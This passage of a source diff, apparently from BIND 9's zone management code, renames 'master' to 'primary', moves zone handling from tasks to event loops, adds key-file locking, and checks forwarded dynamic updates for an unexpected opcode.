-	isc_sockaddr_format(&forward->addr, master, sizeof(master));
+	isc_sockaddr_format(&forward->addr, primary, sizeof(primary));
 
-	if (revent->result != ISC_R_SUCCESS) {
+	result = dns_request_getresult(request);
+	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "could not forward dynamic update to %s: %s",
-			     master, dns_result_totext(revent->result));
-		goto next_master;
+			     primary, isc_result_totext(result));
+		goto next_primary;
 	}
 
 	dns_message_create(zone->mctx, DNS_MESSAGE_INTENTPARSE, &msg);
 
-	result = dns_request_getresponse(revent->request, msg,
+	result = dns_request_getresponse(request, msg,
 					 DNS_MESSAGEPARSE_PRESERVEORDER |
 						 DNS_MESSAGEPARSE_CLONEBUFFER);
 	if (result != ISC_R_SUCCESS) {
-		goto next_master;
+		goto next_primary;
+	}
+
+	/*
+	 * Unexpected opcode.
+	 */
+	if (msg->opcode != dns_opcode_update) {
+		char opcode[128];
+		isc_buffer_t rb;
+
+		isc_buffer_init(&rb, opcode, sizeof(opcode));
+		(void)dns_opcode_totext(msg->opcode, &rb);
+
+		dns_zone_log(zone, ISC_LOG_INFO,
+			     "forwarding dynamic update: "
+			     "unexpected opcode (%.*s) from %s",
+			     (int)rb.used, opcode, primary);
+		goto next_primary;
 	}
 
 	switch (msg->rcode) {
@@ -17980,8 +17988,8 @@ forward_callback(isc_task_t *task, isc_event_t *event) {
 		(void)dns_rcode_totext(msg->rcode, &rb);
 		dns_zone_log(zone, ISC_LOG_INFO,
 			     "forwarded dynamic update: "
-			     "master %s returned: %.*s",
-			     master, (int)rb.used, rcode);
+			     "primary %s returned: %.*s",
+			     primary, (int)rb.used, rcode);
 		break;
 	}
 
@@ -17995,9 +18003,9 @@ forward_callback(isc_task_t *task, isc_event_t *event) {
 		(void)dns_rcode_totext(msg->rcode, &rb);
 		dns_zone_log(zone, ISC_LOG_WARNING,
 			     "forwarding dynamic update: "
-			     "unexpected response: master %s returned: %.*s",
-			     master, (int)rb.used, rcode);
-		goto next_master;
+			     "unexpected response: primary %s returned: %.*s",
+			     primary, (int)rb.used, rcode);
+		goto next_primary;
 	}
 
 	/* Try another server for these rcodes. */
@@ -18006,7 +18014,7 @@ forward_callback(isc_task_t *task, isc_event_t *event) {
 	case dns_rcode_notimp:
 	case dns_rcode_badvers:
 	default:
-		goto next_master;
+		goto next_primary;
 	}
 
 	/* call callback */
@@ -18014,17 +18022,15 @@ forward_callback(isc_task_t *task, isc_event_t *event) {
 	msg = NULL;
 	dns_request_destroy(&forward->request);
 	forward_destroy(forward);
-	isc_event_free(&event);
 	return;
 
-next_master:
+next_primary:
 	if (msg != NULL) {
 		dns_message_detach(&msg);
 	}
-	isc_event_free(&event);
 	forward->which++;
 	dns_request_destroy(&forward->request);
-	result = sendtomaster(forward);
+	result = sendtoprimary(forward);
 	if (result != ISC_R_SUCCESS) {
 		/* call callback */
 		dns_zone_log(zone, ISC_LOG_DEBUG(3),
@@ -18046,17 +18052,12 @@ dns_zone_forwardupdate(dns_zone_t *zone, dns_message_t *msg,
 	REQUIRE(callback != NULL);
 
 	forward = isc_mem_get(zone->mctx, sizeof(*forward));
-
-	forward->request = NULL;
-	forward->zone = NULL;
-	forward->msgbuf = NULL;
-	forward->which = 0;
-	forward->mctx = 0;
-	forward->callback = callback;
-	forward->callback_arg = callback_arg;
+	*forward = (dns_forward_t){ .callback = callback,
+				    .callback_arg = callback_arg,
+				    .options = DNS_REQUESTOPT_TCP };
 	ISC_LINK_INIT(forward, link);
 	forward->magic = FORWARD_MAGIC;
-	forward->options = DNS_REQUESTOPT_TCP;
+
 	/*
 	 * If we have a SIG(0) signed message we need to preserve the
 	 * query id as that is included in the SIG(0) computation.
@@ -18079,7 +18080,7 @@ dns_zone_forwardupdate(dns_zone_t *zone, dns_message_t *msg,
 
 	isc_mem_attach(zone->mctx, &forward->mctx);
 	dns_zone_iattach(zone, &forward->zone);
-	result = sendtomaster(forward);
+	result = sendtoprimary(forward);
 
 cleanup:
 	if (result != ISC_R_SUCCESS) {
@@ -18118,29 +18119,136 @@ dns_zone_first(dns_zonemgr_t *zmgr, dns_zone_t **first) {
  ***	Zone manager.
  ***/
 
-isc_result_t
-dns_zonemgr_create(isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
-		   isc_timermgr_t *timermgr, isc_socketmgr_t *socketmgr,
-		   isc_nm_t *netmgr, dns_zonemgr_t **zmgrp) {
-	dns_zonemgr_t *zmgr;
+static void
+zonemgr_keymgmt_init(dns_zonemgr_t *zmgr) {
+	dns_keymgmt_t *mgmt = isc_mem_get(zmgr->mctx, sizeof(*mgmt));
+
+	*mgmt = (dns_keymgmt_t){
+		.magic = KEYMGMT_MAGIC,
+	};
+
+	isc_mem_attach(zmgr->mctx, &mgmt->mctx);
+	isc_rwlock_init(&mgmt->lock);
+	isc_hashmap_create(mgmt->mctx, DNS_KEYMGMT_HASH_BITS,
+			   ISC_HASHMAP_CASE_SENSITIVE, &mgmt->table);
+
+	zmgr->keymgmt = mgmt;
+}
+
+static void
+zonemgr_keymgmt_destroy(dns_zonemgr_t *zmgr) {
+	dns_keymgmt_t *mgmt = zmgr->keymgmt;
+
+	REQUIRE(DNS_KEYMGMT_VALID(mgmt));
+
+	mgmt->magic = 0;
+
+	RWLOCK(&mgmt->lock, isc_rwlocktype_write);
+	INSIST(isc_hashmap_count(mgmt->table) == 0);
+	RWUNLOCK(&mgmt->lock, isc_rwlocktype_write);
+	isc_hashmap_destroy(&mgmt->table);
+
+	isc_rwlock_destroy(&mgmt->lock);
+	isc_mem_putanddetach(&mgmt->mctx, mgmt, sizeof(dns_keymgmt_t));
+}
+
+static void
+zonemgr_keymgmt_add(dns_zonemgr_t *zmgr, dns_zone_t *zone,
+		    dns_keyfileio_t **added) {
+	dns_keymgmt_t *mgmt = zmgr->keymgmt;
+	dns_keyfileio_t *kfio = NULL;
+	isc_result_t result;
+	dns_fixedname_t fname;
+	dns_name_t *name;
+
+	REQUIRE(DNS_KEYMGMT_VALID(mgmt));
+	REQUIRE(added != NULL && *added == NULL);
+
+	name = dns_fixedname_initname(&fname);
+	dns_name_downcase(&zone->origin, name, NULL);
+
+	RWLOCK(&mgmt->lock, isc_rwlocktype_write);
+
+	result = isc_hashmap_find(mgmt->table, NULL, name->ndata, name->length,
+				  (void **)&kfio);
+	switch (result) {
+	case ISC_R_SUCCESS:
+		isc_refcount_increment(&kfio->references);
+		break;
+	case ISC_R_NOTFOUND:
+		kfio = isc_mem_get(mgmt->mctx, sizeof(*kfio));
+		*kfio = (dns_keyfileio_t){
+			.magic = KEYFILEIO_MAGIC,
+		};
+		isc_refcount_init(&kfio->references, 1);
+		kfio->name = dns_fixedname_initname(&kfio->fname);
+		dns_name_copy(name, kfio->name);
+
+		isc_mutex_init(&kfio->lock);
+		result = isc_hashmap_add(mgmt->table, NULL, kfio->name->ndata,
+					 kfio->name->length, kfio);
+		INSIST(result == ISC_R_SUCCESS);
+		break;
+	default:
+		UNREACHABLE();
+	}
+	*added = kfio;
+	RWUNLOCK(&mgmt->lock, isc_rwlocktype_write);
+}
+
+static void
+zonemgr_keymgmt_delete(dns_zonemgr_t *zmgr, dns_keyfileio_t **deleted) {
+	REQUIRE(DNS_KEYMGMT_VALID(zmgr->keymgmt));
+	REQUIRE(deleted != NULL && DNS_KEYFILEIO_VALID(*deleted));
+
+	dns_keymgmt_t *mgmt = zmgr->keymgmt;
+	dns_keyfileio_t *kfio = *deleted;
 	isc_result_t result;
 
+	*deleted = NULL;
+
+	RWLOCK(&mgmt->lock, isc_rwlocktype_write);
+
+	if (isc_refcount_decrement(&kfio->references) == 1) {
+		isc_refcount_destroy(&kfio->references);
+		kfio->magic = 0;
+		isc_mutex_destroy(&kfio->lock);
+
+		result = isc_hashmap_delete(mgmt->table, NULL,
+					    kfio->name->ndata,
+					    kfio->name->length);
+		INSIST(result == ISC_R_SUCCESS);
+
+		isc_mem_put(mgmt->mctx, kfio, sizeof(*kfio));
+	}
+
+	RWUNLOCK(&mgmt->lock, isc_rwlocktype_write);
+}
+
+void
+dns_zonemgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t *netmgr,
+		   dns_zonemgr_t **zmgrp) {
+	dns_zonemgr_t *zmgr = NULL;
+	isc_loop_t *loop = isc_loop_current(loopmgr);
+
+	REQUIRE(mctx != NULL);
+	REQUIRE(loopmgr != NULL);
+	REQUIRE(netmgr != NULL);
+	REQUIRE(zmgrp != NULL && *zmgrp == NULL);
+
 	zmgr = isc_mem_get(mctx, sizeof(*zmgr));
-	zmgr->mctx = NULL;
+
+	*zmgr = (dns_zonemgr_t){
+		.loopmgr = loopmgr,
+		.netmgr = netmgr,
+		.workers = isc_loopmgr_nloops(loopmgr),
+		.transfersin = 10,
+		.transfersperns = 2,
+	};
+
 	isc_refcount_init(&zmgr->refs, 1);
 	isc_mem_attach(mctx, &zmgr->mctx);
-	zmgr->taskmgr = taskmgr;
-	zmgr->timermgr = timermgr;
-	zmgr->socketmgr = socketmgr;
-	zmgr->netmgr = netmgr;
-	zmgr->zonetasks = NULL;
-	zmgr->loadtasks = NULL;
-	zmgr->mctxpool = NULL;
-	zmgr->task = NULL;
-	zmgr->notifyrl = NULL;
-	zmgr->refreshrl = NULL;
-	zmgr->startupnotifyrl = NULL;
-	zmgr->startuprefreshrl = NULL;
+
 	ISC_LIST_INIT(zmgr->zones);
 	ISC_LIST_INIT(zmgr->waiting_for_xfrin);
 	ISC_LIST_INIT(zmgr->xfrin_in_progress);
@@ -18148,46 +18256,29 @@ dns_zonemgr_create(isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
 	for (size_t i = 0; i < UNREACH_CACHE_SIZE; i++) {
 		atomic_init(&zmgr->unreachable[i].expire, 0);
 	}
-	isc_rwlock_init(&zmgr->rwlock, 0, 0);
-
-	zmgr->transfersin = 10;
-	zmgr->transfersperns = 2;
+	isc_rwlock_init(&zmgr->rwlock);
 
 	/* Unreachable lock. */
-	isc_rwlock_init(&zmgr->urlock, 0, 0);
-
-	/* Create a single task for queueing of SOA queries. */
-	result = isc_task_create(taskmgr, 1, &zmgr->task);
-	if (result != ISC_R_SUCCESS) {
-		goto free_urlock;
-	}
-
-	isc_task_setname(zmgr->task, "zmgr", zmgr);
-	result = isc_ratelimiter_create(mctx, timermgr, zmgr->task,
-					&zmgr->notifyrl);
-	if (result != ISC_R_SUCCESS) {
-		goto free_task;
-	}
+	isc_rwlock_init(&zmgr->urlock);
 
-	result = isc_ratelimiter_create(mctx, timermgr, zmgr->task,
-					&zmgr->refreshrl);
-	if (result != ISC_R_SUCCESS) {
-		goto free_notifyrl;
-	}
+	isc_ratelimiter_create(loop, &zmgr->checkdsrl);
+	isc_ratelimiter_create(loop, &zmgr->notifyrl);
+	isc_ratelimiter_create(loop, &zmgr->refreshrl);
+	isc_ratelimiter_create(loop, &zmgr->startupnotifyrl);
+	isc_ratelimiter_create(loop, &zmgr->startuprefreshrl);
 
-	result = isc_ratelimiter_create(mctx, timermgr, zmgr->task,
-					&zmgr->startupnotifyrl);
-	if (result != ISC_R_SUCCESS) {
-		goto free_refreshrl;
+	zmgr->mctxpool = isc_mem_cget(zmgr->mctx, zmgr->workers,
+				      sizeof(zmgr->mctxpool[0]));
+	for (size_t i = 0; i < zmgr->workers; i++) {
+		isc_mem_create(&zmgr->mctxpool[i]);
+		isc_mem_setname(zmgr->mctxpool[i], "zonemgr-mctxpool");
 	}
 
-	result = isc_ratelimiter_create(mctx, timermgr, zmgr->task,
-					&zmgr->startuprefreshrl);
-	if (result != ISC_R_SUCCESS) {
-		goto free_startupnotifyrl;
-	}
+	/* Key file I/O locks. */
+	zonemgr_keymgmt_init(zmgr);
 
-	/* default to 20 refresh queries / notifies per second. */
+	/* Default to 20 refresh queries / notifies / checkds per second. */
+	setrl(zmgr->checkdsrl, &zmgr->checkdsrate, 20);
 	setrl(zmgr->notifyrl, &zmgr->notifyrate, 20);
 	setrl(zmgr->startupnotifyrl, &zmgr->startupnotifyrate, 20);
 	setrl(zmgr->refreshrl, &zmgr->serialqueryrate, 20);
@@ -18195,44 +18286,19 @@ dns_zonemgr_create(isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
 	isc_ratelimiter_setpushpop(zmgr->startupnotifyrl, true);
 	isc_ratelimiter_setpushpop(zmgr->startuprefreshrl, true);
 
-	zmgr->iolimit = 1;
-	zmgr->ioactive = 0;
-	ISC_LIST_INIT(zmgr->high);
-	ISC_LIST_INIT(zmgr->low);
-
-	isc_mutex_init(&zmgr->iolock);
+	zmgr->tlsctx_cache = NULL;
+	isc_rwlock_init(&zmgr->tlsctx_cache_rwlock);
 
 	zmgr->magic = ZONEMGR_MAGIC;
 
 	*zmgrp = zmgr;
-	return (ISC_R_SUCCESS);
-
-#if 0
- free_iolock:
-	isc_mutex_destroy(&zmgr->iolock);
-#endif /* if 0 */
-free_startupnotifyrl:
-	isc_ratelimiter_detach(&zmgr->startupnotifyrl);
-free_refreshrl:
-	isc_ratelimiter_detach(&zmgr->refreshrl);
-free_notifyrl:
-	isc_ratelimiter_detach(&zmgr->notifyrl);
-free_task:
-	isc_task_detach(&zmgr->task);
-free_urlock:
-	isc_rwlock_destroy(&zmgr->urlock);
-	isc_rwlock_destroy(&zmgr->rwlock);
-	isc_mem_put(zmgr->mctx, zmgr, sizeof(*zmgr));
-	isc_mem_detach(&mctx);
-	return (result);
 }
 
 isc_result_t
 dns_zonemgr_createzone(dns_zonemgr_t *zmgr, dns_zone_t **zonep) {
-	isc_result_t result;
 	isc_mem_t *mctx = NULL;
 	dns_zone_t *zone = NULL;
-	void *item;
+	unsigned int tid;
 
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
 	REQUIRE(zonep != NULL && *zonep == NULL);
@@ -18241,83 +18307,48 @@ dns_zonemgr_createzone(dns_zonemgr_t *zmgr, dns_zone_t **zonep) {
 		return (ISC_R_FAILURE);
 	}
 
-	item = isc_pool_get(zmgr->mctxpool);
-	if (item == NULL) {
+	tid = isc_random_uniform(zmgr->workers);
+
+	mctx = zmgr->mctxpool[tid];
+	if (mctx == NULL) {
 		return (ISC_R_FAILURE);
 	}
 
-	isc_mem_attach((isc_mem_t *)item, &mctx);
-	result = dns_zone_create(&zone, mctx);
-	isc_mem_detach(&mctx);
+	dns_zone_create(&zone, mctx, tid);
 
-	if (result == ISC_R_SUCCESS) {
-		*zonep = zone;
-	}
+	*zonep = zone;
 
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
 dns_zonemgr_managezone(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
-	isc_result_t result;
-
 	REQUIRE(DNS_ZONE_VALID(zone));
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
 
-	if (zmgr->zonetasks == NULL) {
-		return (ISC_R_FAILURE);
-	}
-
 	RWLOCK(&zmgr->rwlock, isc_rwlocktype_write);
 	LOCK_ZONE(zone);
-	REQUIRE(zone->task == NULL);
 	REQUIRE(zone->timer == NULL);
 	REQUIRE(zone->zmgr == NULL);
 
-	isc_taskpool_gettask(zmgr->zonetasks, &zone->task);
-	isc_taskpool_gettask(zmgr->loadtasks, &zone->loadtask);
-
-	/*
-	 * Set the task name.  The tag will arbitrarily point to one
-	 * of the zones sharing the task (in practice, the one
-	 * to be managed last).
-	 */
-	isc_task_setname(zone->task, "zone", zone);
-	isc_task_setname(zone->loadtask, "loadzone", zone);
-
-	result = isc_timer_create(zmgr->timermgr, isc_timertype_inactive, NULL,
-				  NULL, zone->task, zone_timer, zone,
-				  &zone->timer);
-
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_tasks;
-	}
+	isc_loop_t *loop = isc_loop_get(zmgr->loopmgr, zone->tid);
+	isc_loop_attach(loop, &zone->loop);
 
-	/*
-	 * The timer "holds" a iref.
-	 */
-	isc_refcount_increment0(&zone->irefs);
+	zonemgr_keymgmt_add(zmgr, zone, &zone->kfio);
+	INSIST(zone->kfio != NULL);
 
 	ISC_LIST_APPEND(zmgr->zones, zone, link);
 	zone->zmgr = zmgr;
-	isc_refcount_increment(&zmgr->refs);
 
-	goto unlock;
-
-cleanup_tasks:
-	isc_task_detach(&zone->loadtask);
-	isc_task_detach(&zone->task);
+	isc_refcount_increment(&zmgr->refs);
 
-unlock:
 	UNLOCK_ZONE(zone);
 	RWUNLOCK(&zmgr->rwlock, isc_rwlocktype_write);
-	return (result);
+	return (ISC_R_SUCCESS);
 }
 
 void
 dns_zonemgr_releasezone(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
-	bool free_now = false;
-
 	REQUIRE(DNS_ZONE_VALID(zone));
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
 	REQUIRE(zone->zmgr == zmgr);
@@ -18326,19 +18357,26 @@ dns_zonemgr_releasezone(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
 	LOCK_ZONE(zone);
 
 	ISC_LIST_UNLINK(zmgr->zones, zone, link);
-	zone->zmgr = NULL;
 
-	if (isc_refcount_decrement(&zmgr->refs) == 1) {
-		free_now = true;
+	if (zone->kfio != NULL) {
+		zonemgr_keymgmt_delete(zmgr, &zone->kfio);
+		ENSURE(zone->kfio == NULL);
+	}
+
+	if (zone->timer != NULL) {
+		isc_refcount_decrement(&zone->irefs);
+		isc_timer_destroy(&zone->timer);
 	}
 
+	isc_loop_detach(&zone->loop);
+
+	/* Detach below, outside of the write lock. */
+	zone->zmgr = NULL;
+
 	UNLOCK_ZONE(zone);
 	RWUNLOCK(&zmgr->rwlock, isc_rwlocktype_write);
 
-	if (free_now) {
-		zonemgr_free(zmgr);
-	}
-	ENSURE(zone->zmgr == NULL);
+	dns_zonemgr_detach(&zmgr);
 }
 
 void
@@ -18367,14 +18405,18 @@ dns_zonemgr_detach(dns_zonemgr_t **zmgrp) {
 
 isc_result_t
 dns_zonemgr_forcemaint(dns_zonemgr_t *zmgr) {
-	dns_zone_t *p;
-
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
 
 	RWLOCK(&zmgr->rwlock, isc_rwlocktype_read);
-	for (p = ISC_LIST_HEAD(zmgr->zones); p != NULL;
-	     p = ISC_LIST_NEXT(p, link)) {
-		dns_zone_maintenance(p);
+	for (dns_zone_t *zone = ISC_LIST_HEAD(zmgr->zones); zone != NULL;
+	     zone = ISC_LIST_NEXT(zone, link))
+	{
+		isc_time_t now;
+
+		LOCK_ZONE(zone);
+		now = isc_time_now();
+		zone_settimer(zone, &now);
+		UNLOCK_ZONE(zone);
 	}
 	RWUNLOCK(&zmgr->rwlock, isc_rwlocktype_read);
 
@@ -18405,22 +18447,14 @@ dns_zonemgr_shutdown(dns_zonemgr_t *zmgr) {
 
 	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
 
+	isc_ratelimiter_shutdown(zmgr->checkdsrl);
 	isc_ratelimiter_shutdown(zmgr->notifyrl);
 	isc_ratelimiter_shutdown(zmgr->refreshrl);
 	isc_ratelimiter_shutdown(zmgr->startupnotifyrl);
 	isc_ratelimiter_shutdown(zmgr->startuprefreshrl);
 
-	if (zmgr->task != NULL) {
-		isc_task_destroy(&zmgr->task);
-	}
-	if (zmgr->zonetasks != NULL) {
-		isc_taskpool_destroy(&zmgr->zonetasks);
-	}
-	if (zmgr->loadtasks != NULL) {
-		isc_taskpool_destroy(&zmgr->loadtasks);
-	}
-	if (zmgr->mctxpool != NULL) {
-		isc_pool_destroy(&zmgr->mctxpool);
+	for (size_t i = 0; i < zmgr->workers; i++) {
+		isc_mem_detach(&zmgr->mctxpool[i]);
 	}
 
 	RWLOCK(&zmgr->rwlock, isc_rwlocktype_read);
@@ -18434,121 +18468,32 @@ dns_zonemgr_shutdown(dns_zonemgr_t *zmgr) {
 	RWUNLOCK(&zmgr->rwlock, isc_rwlocktype_read);
 }
 
-static isc_result_t
-mctxinit(void **target, void *arg) {
-	isc_mem_t *mctx = NULL;
-
-	UNUSED(arg);
-
-	REQUIRE(target != NULL && *target == NULL);
-
-	isc_mem_create(&mctx);
-	isc_mem_setname(mctx, "zonemgr-pool");
-
-	*target = mctx;
-	return (ISC_R_SUCCESS);
-}
-
-static void
-mctxfree(void **target) {
-	isc_mem_t *mctx = *(isc_mem_t **)target;
-	isc_mem_detach(&mctx);
-	*target = NULL;
-}
-
-#define ZONES_PER_TASK 100
-#define ZONES_PER_MCTX 1000
-
-isc_result_t
-dns_zonemgr_setsize(dns_zonemgr_t *zmgr, int num_zones) {
-	isc_result_t result;
-	int ntasks = num_zones / ZONES_PER_TASK;
-	int nmctx = num_zones / ZONES_PER_MCTX;
-	isc_taskpool_t *pool = NULL;
-	isc_pool_t *mctxpool = NULL;
-
-	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
-
-	/*
-	 * For anything fewer than 1000 zones we use 10 tasks in
-	 * the task pools.  More than that, and we'll scale at one
-	 * task per 100 zones.  Similarly, for anything smaller than
-	 * 2000 zones we use 2 memory contexts, then scale at 1:1000.
-	 */
-	if (ntasks < 10) {
-		ntasks = 10;
-	}
-	if (nmctx < 2) {
-		nmctx = 2;
-	}
-
-	/* Create or resize the zone task pools. */
-	if (zmgr->zonetasks == NULL) {
-		result = isc_taskpool_create(zmgr->taskmgr, zmgr->mctx, ntasks,
-					     2, false, &pool);
-	} else {
-		result = isc_taskpool_expand(&zmgr->zonetasks, ntasks, false,
-					     &pool);
-	}
-
-	if (result == ISC_R_SUCCESS) {
-		zmgr->zonetasks = pool;
-	}
-
-	/*
-	 * We always set all tasks in the zone-load task pool to
-	 * privileged.  This prevents other tasks in the system from
-	 * running while the server task manager is in privileged
-	 * mode.
-	 */
-	pool = NULL;
-	if (zmgr->loadtasks == NULL) {
-		result = isc_taskpool_create(zmgr->taskmgr, zmgr->mctx, ntasks,
-					     2, true, &pool);
-	} else {
-		result = isc_taskpool_expand(&zmgr->loadtasks, ntasks, true,
-					     &pool);
-	}
-
-	if (result == ISC_R_SUCCESS) {
-		zmgr->loadtasks = pool;
-	}
-
-	/* Create or resize the zone memory context pool. */
-	if (zmgr->mctxpool == NULL) {
-		result = isc_pool_create(zmgr->mctx, nmctx, mctxfree, mctxinit,
-					 NULL, &mctxpool);
-	} else {
-		result = isc_pool_expand(&zmgr->mctxpool, nmctx, &mctxpool);
-	}
-
-	if (result == ISC_R_SUCCESS) {
-		zmgr->mctxpool = mctxpool;
-	}
-
-	return (result);
-}
-
 static void
 zonemgr_free(dns_zonemgr_t *zmgr) {
-	isc_mem_t *mctx;
-
-	INSIST(ISC_LIST_EMPTY(zmgr->zones));
+	REQUIRE(ISC_LIST_EMPTY(zmgr->zones));
 
 	zmgr->magic = 0;
 
 	isc_refcount_destroy(&zmgr->refs);
-	isc_mutex_destroy(&zmgr->iolock);
+	isc_ratelimiter_detach(&zmgr->checkdsrl);
 	isc_ratelimiter_detach(&zmgr->notifyrl);
 	isc_ratelimiter_detach(&zmgr->refreshrl);
 	isc_ratelimiter_detach(&zmgr->startupnotifyrl);
 	isc_ratelimiter_detach(&zmgr->startuprefreshrl);
 
+	isc_mem_cput(zmgr->mctx, zmgr->mctxpool, zmgr->workers,
+		     sizeof(zmgr->mctxpool[0]));
+
 	isc_rwlock_destroy(&zmgr->urlock);
 	isc_rwlock_destroy(&zmgr->rwlock);
-	mctx = zmgr->mctx;
-	isc_mem_put(zmgr->mctx, zmgr, sizeof(*zmgr));
-	isc_mem_detach(&mctx);
+	isc_rwlock_destroy(&zmgr->tlsctx_cache_rwlock);
+
+	zonemgr_keymgmt_destroy(zmgr);
+
+	if (zmgr->tlsctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&zmgr->tlsctx_cache);
+	}
+	isc_mem_putanddetach(&zmgr->mctx, zmgr, sizeof(*zmgr));
 }
 
 void
@@ -18579,13 +18524,6 @@ dns_zonemgr_gettransfersperns(dns_zonemgr_t *zmgr) {
 	return (zmgr->transfersperns);
 }
 
-isc_taskmgr_t *
-dns_zonemgr_gettaskmgr(dns_zonemgr_t *zmgr) {
-	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
-
-	return (zmgr->taskmgr);
-}
-
 /*
  * Try to start a new incoming zone transfer to fill a quota
  * slot that was just vacated.
@@ -18599,7 +18537,8 @@ zmgr_resume_xfrs(dns_zonemgr_t *zmgr, bool multi) {
 	dns_zone_t *next;
 
 	for (zone = ISC_LIST_HEAD(zmgr->waiting_for_xfrin); zone != NULL;
-	     zone = next) {
+	     zone = next)
+	{
 		isc_result_t result;
 		next = ISC_LIST_NEXT(zone, statelink);
 		result = zmgr_start_xfrin_ifquota(zmgr, zone);
@@ -18616,7 +18555,7 @@ zmgr_resume_xfrs(dns_zonemgr_t *zmgr, bool multi) {
 			 * Not enough quota.  This is probably the per-server
 			 * quota, because we usually get called when a unit of
 			 * global quota has just been freed.  Try the next
-			 * zone, it may succeed if it uses another master.
+			 * zone, it may succeed if it uses another primary.
 			 */
 			continue;
 		} else {
@@ -18645,15 +18584,15 @@ zmgr_resume_xfrs(dns_zonemgr_t *zmgr, bool multi) {
 static isc_result_t
 zmgr_start_xfrin_ifquota(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
 	dns_peer_t *peer = NULL;
-	isc_netaddr_t masterip;
+	isc_netaddr_t primaryip;
+	isc_sockaddr_t curraddr;
 	uint32_t nxfrsin, nxfrsperns;
-	dns_zone_t *x;
+	dns_zone_t *x = NULL;
 	uint32_t maxtransfersin, maxtransfersperns;
-	isc_event_t *e;
 
 	/*
 	 * If we are exiting just pretend we got quota so the zone will
-	 * be cleaned up in the zone's task context.
+	 * be cleaned up in the zone's loop context.
 	 */
 	LOCK_ZONE(zone);
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
@@ -18665,14 +18604,15 @@ zmgr_start_xfrin_ifquota(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
 	 * Find any configured information about the server we'd
 	 * like to transfer this zone from.
 	 */
-	isc_netaddr_fromsockaddr(&masterip, &zone->masteraddr);
-	(void)dns_peerlist_peerbyaddr(zone->view->peers, &masterip, &peer);
+	curraddr = dns_remote_curraddr(&zone->primaries);
+	isc_netaddr_fromsockaddr(&primaryip, &curraddr);
+	(void)dns_peerlist_peerbyaddr(zone->view->peers, &primaryip, &peer);
 	UNLOCK_ZONE(zone);
 
 	/*
 	 * Determine the total maximum number of simultaneous
 	 * transfers allowed, and the maximum for this specific
-	 * master.
+	 * primary.
 	 */
 	maxtransfersin = zmgr->transfersin;
 	maxtransfersperns = zmgr->transfersperns;
@@ -18682,22 +18622,24 @@ zmgr_start_xfrin_ifquota(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
 
 	/*
 	 * Count the total number of transfers that are in progress,
-	 * and the number of transfers in progress from this master.
+	 * and the number of transfers in progress from this primary.
 	 * We linearly scan a list of all transfers; if this turns
-	 * out to be too slow, we could hash on the master address.
+	 * out to be too slow, we could hash on the primary address.
 	 */
 	nxfrsin = nxfrsperns = 0;
 	for (x = ISC_LIST_HEAD(zmgr->xfrin_in_progress); x != NULL;
 	     x = ISC_LIST_NEXT(x, statelink))
 	{
 		isc_netaddr_t xip;
+		isc_sockaddr_t xaddr;
 
 		LOCK_ZONE(x);
-		isc_netaddr_fromsockaddr(&xip, &x->masteraddr);
+		xaddr = dns_remote_curraddr(&x->primaries);
+		isc_netaddr_fromsockaddr(&xip, &xaddr);
 		UNLOCK_ZONE(x);
 
 		nxfrsin++;
-		if (isc_netaddr_equal(&xip, &masterip)) {
+		if (isc_netaddr_equal(&xip, &primaryip)) {
 			nxfrsperns++;
 		}
 	}
@@ -18714,18 +18656,14 @@ zmgr_start_xfrin_ifquota(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
 gotquota:
 	/*
 	 * We have sufficient quota.  Move the zone to the "xfrin_in_progress"
-	 * list and send it an event to let it start the actual transfer in the
-	 * context of its own task.
+	 * list and start the actual transfer asynchronously.
 	 */
-	e = isc_event_allocate(zmgr->mctx, zmgr, DNS_EVENT_ZONESTARTXFRIN,
-			       got_transfer_quota, zone, sizeof(isc_event_t));
-
 	LOCK_ZONE(zone);
 	INSIST(zone->statelist == &zmgr->waiting_for_xfrin);
 	ISC_LIST_UNLINK(zmgr->waiting_for_xfrin, zone, statelink);
 	ISC_LIST_APPEND(zmgr->xfrin_in_progress, zone, statelink);
 	zone->statelist = &zmgr->xfrin_in_progress;
-	isc_task_send(zone->task, &e);
+	isc_async_run(zone->loop, got_transfer_quota, zone);
 	dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_INFO,
 		      "Transfer started.");
 	UNLOCK_ZONE(zone);
@@ -18733,138 +18671,6 @@ zmgr_start_xfrin_ifquota(dns_zonemgr_t *zmgr, dns_zone_t *zone) {
 	return (ISC_R_SUCCESS);
 }
 
-void
-dns_zonemgr_setiolimit(dns_zonemgr_t *zmgr, uint32_t iolimit) {
-	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
-	REQUIRE(iolimit > 0);
-
-	zmgr->iolimit = iolimit;
-}
-
-uint32_t
-dns_zonemgr_getiolimit(dns_zonemgr_t *zmgr) {
-	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
-
-	return (zmgr->iolimit);
-}
-
-/*
- * Get permission to request a file handle from the OS.
- * An event will be sent to action when one is available.
- * There are two queues available (high and low), the high
- * queue will be serviced before the low one.
- *
- * zonemgr_putio() must be called after the event is delivered to
- * 'action'.
- */
-
-static isc_result_t
-zonemgr_getio(dns_zonemgr_t *zmgr, bool high, isc_task_t *task,
-	      isc_taskaction_t action, void *arg, dns_io_t **iop) {
-	dns_io_t *io;
-	bool queue;
-
-	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
